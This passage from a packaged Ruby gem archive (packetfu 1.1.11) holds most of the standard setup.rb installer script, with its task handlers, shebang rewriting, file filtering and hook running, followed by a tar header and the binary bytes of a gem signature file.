@installers.key?(name) end a end def print_usage(f) super f.puts 'Inluded packages:' f.puts ' ' + @packages.sort.join(' ') f.puts end # # Task Handlers # def exec_config run_hook 'pre-config' each_selected_installers {|inst| inst.exec_config } run_hook 'post-config' @config.save # must be final end def exec_setup run_hook 'pre-setup' each_selected_installers {|inst| inst.exec_setup } run_hook 'post-setup' end def exec_install run_hook 'pre-install' each_selected_installers {|inst| inst.exec_install } run_hook 'post-install' end def exec_test run_hook 'pre-test' each_selected_installers {|inst| inst.exec_test } run_hook 'post-test' end def exec_clean rm_f @config.savefile run_hook 'pre-clean' each_selected_installers {|inst| inst.exec_clean } run_hook 'post-clean' end def exec_distclean rm_f @config.savefile run_hook 'pre-distclean' each_selected_installers {|inst| inst.exec_distclean } run_hook 'post-distclean' end # # lib # def each_selected_installers Dir.mkdir 'packages' unless File.dir?('packages') @selected.each do |pack| $stderr.puts "Processing the package `#{pack}' ..." if verbose? Dir.mkdir "packages/#{pack}" unless File.dir?("packages/#{pack}") Dir.chdir "packages/#{pack}" yield @installers[pack] Dir.chdir '../..' end end def run_hook(id) @root_installer.run_hook id end # module FileOperations requires this def verbose? @config.verbose? end # module FileOperations requires this def no_harm? @config.no_harm? end end # class ToplevelInstallerMulti class Installer FILETYPES = %w( bin lib ext data conf man ) include FileOperations include HookScriptAPI def initialize(config, srcroot, objroot) @config = config @srcdir = File.expand_path(srcroot) @objdir = File.expand_path(objroot) @currdir = '.' end def inspect "#<#{self.class} #{File.basename(@srcdir)}>" end def noop(rel) end # # Hook Script API base methods # def srcdir_root @srcdir end def objdir_root @objdir end def relpath @currdir end # # Config Access # # module FileOperations requires this def verbose? @config.verbose? end # module FileOperations requires this def no_harm? @config.no_harm? end def verbose_off begin save, @config.verbose = @config.verbose?, false yield ensure @config.verbose = save end end # # TASK config # def exec_config exec_task_traverse 'config' end alias config_dir_bin noop alias config_dir_lib noop def config_dir_ext(rel) extconf if extdir?(curr_srcdir()) end alias config_dir_data noop alias config_dir_conf noop alias config_dir_man noop def extconf ruby "#{curr_srcdir()}/extconf.rb", *@config.config_opt end # # TASK setup # def exec_setup exec_task_traverse 'setup' end def setup_dir_bin(rel) files_of(curr_srcdir()).each do |fname| update_shebang_line "#{curr_srcdir()}/#{fname}" end end alias setup_dir_lib noop def setup_dir_ext(rel) make if extdir?(curr_srcdir()) end alias setup_dir_data noop alias setup_dir_conf noop alias setup_dir_man noop def update_shebang_line(path) return if no_harm? return if config('shebang') == 'never' old = Shebang.load(path) if old $stderr.puts "warning: #{path}: Shebang line includes too many args. It is not portable and your program may not work." if old.args.size > 1 new = new_shebang(old) return if new.to_s == old.to_s else return unless config('shebang') == 'all' new = Shebang.new(config('rubypath')) end $stderr.puts "updating shebang: #{File.basename(path)}" if verbose? open_atomic_writer(path) {|output| File.open(path, 'rb') {|f| f.gets if old # discard output.puts new.to_s output.print f.read } } end def new_shebang(old) if /\Aruby/ =~ File.basename(old.cmd) Shebang.new(config('rubypath'), old.args) elsif File.basename(old.cmd) == 'env' and old.args.first == 'ruby' Shebang.new(config('rubypath'), old.args[1..-1]) else return old unless config('shebang') == 'all' Shebang.new(config('rubypath')) end end def open_atomic_writer(path, &block) tmpfile = File.basename(path) + '.tmp' begin File.open(tmpfile, 'wb', &block) File.rename tmpfile, File.basename(path) ensure File.unlink tmpfile if File.exist?(tmpfile) end end class Shebang def Shebang.load(path) line = nil File.open(path) {|f| line = f.gets } return nil unless /\A#!/ =~ line parse(line) end def Shebang.parse(line) cmd, *args = *line.strip.sub(/\A\#!/, '').split(' ') new(cmd, args) end def initialize(cmd, args = []) @cmd = cmd @args = args end attr_reader :cmd attr_reader :args def to_s "#! #{@cmd}" + (@args.empty? ? '' : " #{@args.join(' ')}") end end # # TASK install # def exec_install rm_f 'InstalledFiles' exec_task_traverse 'install' end def install_dir_bin(rel) install_files targetfiles(), "#{config('bindir')}/#{rel}", 0755 end def install_dir_lib(rel) install_files libfiles(), "#{config('rbdir')}/#{rel}", 0644 end def install_dir_ext(rel) return unless extdir?(curr_srcdir()) install_files rubyextentions('.'), "#{config('sodir')}/#{File.dirname(rel)}", 0555 end def install_dir_data(rel) install_files targetfiles(), "#{config('datadir')}/#{rel}", 0644 end def install_dir_conf(rel) # FIXME: should not remove current config files # (rename previous file to .old/.org) install_files targetfiles(), "#{config('sysconfdir')}/#{rel}", 0644 end def install_dir_man(rel) install_files targetfiles(), "#{config('mandir')}/#{rel}", 0644 end def install_files(list, dest, mode) mkdir_p dest, @config.install_prefix list.each do |fname| install fname, dest, mode, @config.install_prefix end end def libfiles glob_reject(%w(*.y *.output), targetfiles()) end def rubyextentions(dir) ents = glob_select("*.#{@config.dllext}", targetfiles()) if ents.empty? setup_rb_error "no ruby extention exists: 'ruby #{$0} setup' first" end ents end def targetfiles mapdir(existfiles() - hookfiles()) end def mapdir(ents) ents.map {|ent| if File.exist?(ent) then ent # objdir else "#{curr_srcdir()}/#{ent}" # srcdir end } end # picked up many entries from cvs-1.11.1/src/ignore.c JUNK_FILES = %w( core RCSLOG tags TAGS .make.state .nse_depinfo #* .#* cvslog.* ,* .del-* *.olb *~ *.old *.bak *.BAK *.orig *.rej _$* *$ *.org *.in .* ) def existfiles glob_reject(JUNK_FILES, (files_of(curr_srcdir()) | files_of('.'))) end def hookfiles %w( pre-%s post-%s pre-%s.rb post-%s.rb ).map {|fmt| %w( config setup install clean ).map {|t| sprintf(fmt, t) } }.flatten end def glob_select(pat, ents) re = globs2re([pat]) ents.select {|ent| re =~ ent } end def glob_reject(pats, ents) re = globs2re(pats) ents.reject {|ent| re =~ ent } end GLOB2REGEX = { '.' => '\.', '$' => '\$', '#' => '\#', '*' => '.*' } def globs2re(pats) /\A(?:#{ pats.map {|pat| pat.gsub(/[\.\$\#\*]/) {|ch| GLOB2REGEX[ch] } }.join('|') })\z/ end # # TASK test # TESTDIR = 'test' def exec_test unless File.directory?('test') $stderr.puts 'no test in this package' if verbose? return end $stderr.puts 'Running tests...' if verbose? begin require 'test/unit' rescue LoadError setup_rb_error 'test/unit cannot loaded. You need Ruby 1.8 or later to invoke this task.' end runner = Test::Unit::AutoRunner.new(true) runner.to_run << TESTDIR runner.run end # # TASK clean # def exec_clean exec_task_traverse 'clean' rm_f @config.savefile rm_f 'InstalledFiles' end alias clean_dir_bin noop alias clean_dir_lib noop alias clean_dir_data noop alias clean_dir_conf noop alias clean_dir_man noop def clean_dir_ext(rel) return unless extdir?(curr_srcdir()) make 'clean' if File.file?('Makefile') end # # TASK distclean # def exec_distclean exec_task_traverse 'distclean' rm_f @config.savefile rm_f 'InstalledFiles' end alias distclean_dir_bin noop alias distclean_dir_lib noop def distclean_dir_ext(rel) return unless extdir?(curr_srcdir()) make 'distclean' if File.file?('Makefile') end alias distclean_dir_data noop alias distclean_dir_conf noop alias distclean_dir_man noop # # Traversing # def exec_task_traverse(task) run_hook "pre-#{task}" FILETYPES.each do |type| if type == 'ext' and config('without-ext') == 'yes' $stderr.puts 'skipping ext/* by user option' if verbose? next end traverse task, type, "#{task}_dir_#{type}" end run_hook "post-#{task}" end def traverse(task, rel, mid) dive_into(rel) { run_hook "pre-#{task}" __send__ mid, rel.sub(%r[\A.*?(?:/|\z)], '') directories_of(curr_srcdir()).each do |d| traverse task, "#{rel}/#{d}", mid end run_hook "post-#{task}" } end def dive_into(rel) return unless File.dir?("#{@srcdir}/#{rel}") dir = File.basename(rel) Dir.mkdir dir unless File.dir?(dir) prevdir = Dir.pwd Dir.chdir dir $stderr.puts '---> ' + rel if verbose? @currdir = rel yield Dir.chdir prevdir $stderr.puts '<--- ' + rel if verbose? @currdir = File.dirname(rel) end def run_hook(id) path = [ "#{curr_srcdir()}/#{id}", "#{curr_srcdir()}/#{id}.rb" ].detect {|cand| File.file?(cand) } return unless path begin instance_eval File.read(path), path, 1 rescue raise if $DEBUG setup_rb_error "hook #{path} failed:\n" + $!.message end end end # class Installer class SetupError < StandardError; end def setup_rb_error(msg) raise SetupError, msg end if $0 == __FILE__ begin ToplevelInstaller.invoke rescue SetupError raise if $DEBUG $stderr.puts $!.message $stderr.puts "Try 'ruby #{$0} --help' for detailed usage." exit 1 end end packetfu-1.1.11/metadata.gz.sig0000444000004100000410000000040012573107241016322 0ustar www-datawww-dataF2+> \>Nu /8Z ىm)rfK g{ľ95Iho9vF.6*y~qiժ{imw?^ "@WEyIդYW…qMH0*v K| `'_ۧrDC. ?hj H^^d3Wk`ˉH'I ^=qoMva@g/[gM=˔ذc/